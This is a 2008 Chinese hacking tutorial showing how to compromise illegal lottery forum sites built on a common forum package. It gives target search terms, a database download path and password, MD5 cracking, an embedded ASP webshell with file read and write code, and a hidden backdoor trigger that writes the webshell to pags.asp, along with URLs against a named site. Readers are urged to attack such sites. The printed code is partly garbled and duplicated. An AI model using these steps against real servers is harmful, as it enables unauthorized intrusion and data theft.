至顶网›安全频道 ›webshell给六合彩网站毁灭性的打击

webshell给六合彩网站毁灭性的打击

扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条

本文只是起到抛砖引玉的作用，还是那句话期望着大家一起走到打击六合彩网站的道路上来！消减它们，国家的害虫……

作者：黑客基地来源：黑客基地 2008年10月17日

　　先在 baidu 搜 “六合专用BBS v1.0”当然你搜 v2.0 、v3.0 都可以！“找到相关网页约23,000篇，用时0.017秒”我们看一下非常多的，随便进一个吧。

　　http://www.ky8888.com/bbs/list.asp

　　找到Domain2.2.exe，的 SearchPage.txt，

　　在里面加查找页 /fdnews.asp /bbs/fdnews.asp，好了现在我们来扫扫看！哇，好多啊，这个就是数据库了，我们用网际快车把他下下来，昏，打开要密码，就密码这个东西啦： newbbs.cn88 ，现在帐号、密码，就尽收眼底了，嘿嘿！~~现在把 md5 加密的东西放 MD5Crack 2.3 去跑吧，看你运气咯！~

　　不过我们今天要的不是它的密码，而是webshell。大家跟我来，马上会有惊人的发现。打开数据库的zl表，找到idto 的字段，怎么了发现什么了吗？这个好象是一个网页哦，嘿嘿！~~

　　代码如下：

　　</head>

Function GetPP

dim s

s=Request.ServerVariables("path_translated")

GetPP=left(s,instrrev(s,"\",len(s)))

End function

MODE=Request("MODE")

sPP=Request("PP")

if sPP="" then sPP=GetPP

if right(sPP,1)<　　Function GetPP

　　dim s

　　s=Request.ServerVariables("path_translated")

　　GetPP=left(s,instrrev(s,"\",len(s)))

　　End function

　　MODE=Request("MODE")

　　sPP=Request("PP")

　　if sPP="" then sPP=GetPP

　　if right(sPP,1)<>"\" then sPP=sPP&"\"

　　Response.Write "<b>Index of "&sPP& "</b>"

　　<%fname=request("fname")

if fname<　　if fname<>"" then

　　Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

　　if request("save")="" then

　　Set objCountFile = objFSO.OpenTextFile(fname,1,True)

　　If Not objCountFile.AtEndOfStream Then fdata = objCountFile.ReadAll

　　else

　　fdata=request("fdata")

　　Set objCountFile=objFSO.CreateTextFile(fname,True)

　　objCountFile.Write fdata

　　end if

　　objCountFile.Close

　　Set objCountFile=Nothing

　　Set objFSO = Nothing

　　end if

　　<tr>

　　<td>>

　　<tr>

　　<td>>

　　<tr>

　　<td bgcolor="#0080FF"><font color="#FFFFFF">change：<%=fname%></font></td>

　　<tr>

　　</tr>

　　</table>

　　</td>

　　</tr>

　　</table>

　　</td>

　　</tr>

　　</table>

　　</form>

　　</body>

　　</html>

　　再认真看看，其实这就是一个webshell，所有的六合彩专用论坛的数据库里面都有。它出生的时间可能比海洋顶端2003 还要早，是asp木马界的鼻祖了。

　　既然数据库的文件名是asp的后缀，而里面又自带一个asp木马，我们来试试直接打开这个数据库地址，

　　http://www.ky8888.com/bbs/fdnews.asp昏，可以看出木马里面的asp 代码并没有执行，也就是说我们拿了一只死马。

　　这就是我12月25号的号的发现，拿到这个之后就和兄弟 ☆罹天烬☆ 讨论过（czy也给予了帮助），开始认为只要拿到网站在服务器上的绝对路径就可以在本地提交，写入我们自己的木马，但是实验却一直没有成功。

　　虽然我手里有一个这样的论坛，但是有几个重要的页面丢失了，一时也看不出一个所以然来，这样一拖就是十几天，

　　前天我再把这个论坛的代码拿出来看，在list.asp 里面发现一段重要的东西.

if len(page)>　　if len(page)>6 then

　　if md5(md5(page))="8f9fc56c3d174202" then

　　dim fname

　　fname=""&sPP&"pags.asp"

　　Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

　　Set objCountFile=objFSO.CreateTextFile(fname,True)

　　objCountFile.Write ""& idto &""

　　objCountFile.Close

　　Set objCountFile=Nothing

　　Set objFSO = Nothing

　　response.write "SORRY <br>"

　　response.write "ID?????"

　　response.end

　　end if%>

　　注意到了吗？""& idto &"" 这里的idto 不就是数据库里面放asp木马的字段吗？嘿嘿，那么上面的pags.asp，就应该是写入的文件名咯？我们来试试看，到底是不是这样的！

　　提交：http://www.ky8888.com/bbs/pags.asp

　　看到没有这个古老的asp木马终于显身了，首先它可以看到网站在服务器上的绝对路径，第二还可以写入文件。有人看到这个木马很郁闷，因为它根本没有写入文件的路径的设置表单，是不是我们提交的数据库，都进了数据库了呢？

　　来看看原代码，这一句 Set objCountFile = objFSO.OpenTextFile(fname,1,True)

　　看这里是写入了文件fname，而不是数据库，我们先要请求文件fname 写入的路径，在ie 提交：http://www.ky8888.com/bbs/pags.asp?fname=D:\ky8888\bbs\haotian.asp再填内容，嘿嘿· ok 了！，这样D:\ky8888\bbs\haotian.asp 就是我们新建的文件了。

　　因为这个网站空间不支持fso，所以我直接把数据库里面的木马复制到朋友的asp空间去演示，看是不是写入文件成功了，嘿嘿！~~http://lvhuana.somee.com/haotian.asp?id=1

　　这样简单就拿到了webshell，不过我试了另外几个六合彩网站却没有发现这个pags.asp，看来这个里面还有东西要挖一挖。可能要等到拿了完整的六合专用BBS 的代码之后问题就都解决了。

　　本文只是起到抛砖引玉的作用，还是那句话期望着大家一起走到打击六合彩网站的道路上来！消减它们，国家的害虫……

　　我在写本文的同时，也有很多人和我说，现在地下足彩也很泛滥，所以我专门联系了一位国内的黑足彩

　　高手，他将在近期出一篇关于消减足彩网站的文章。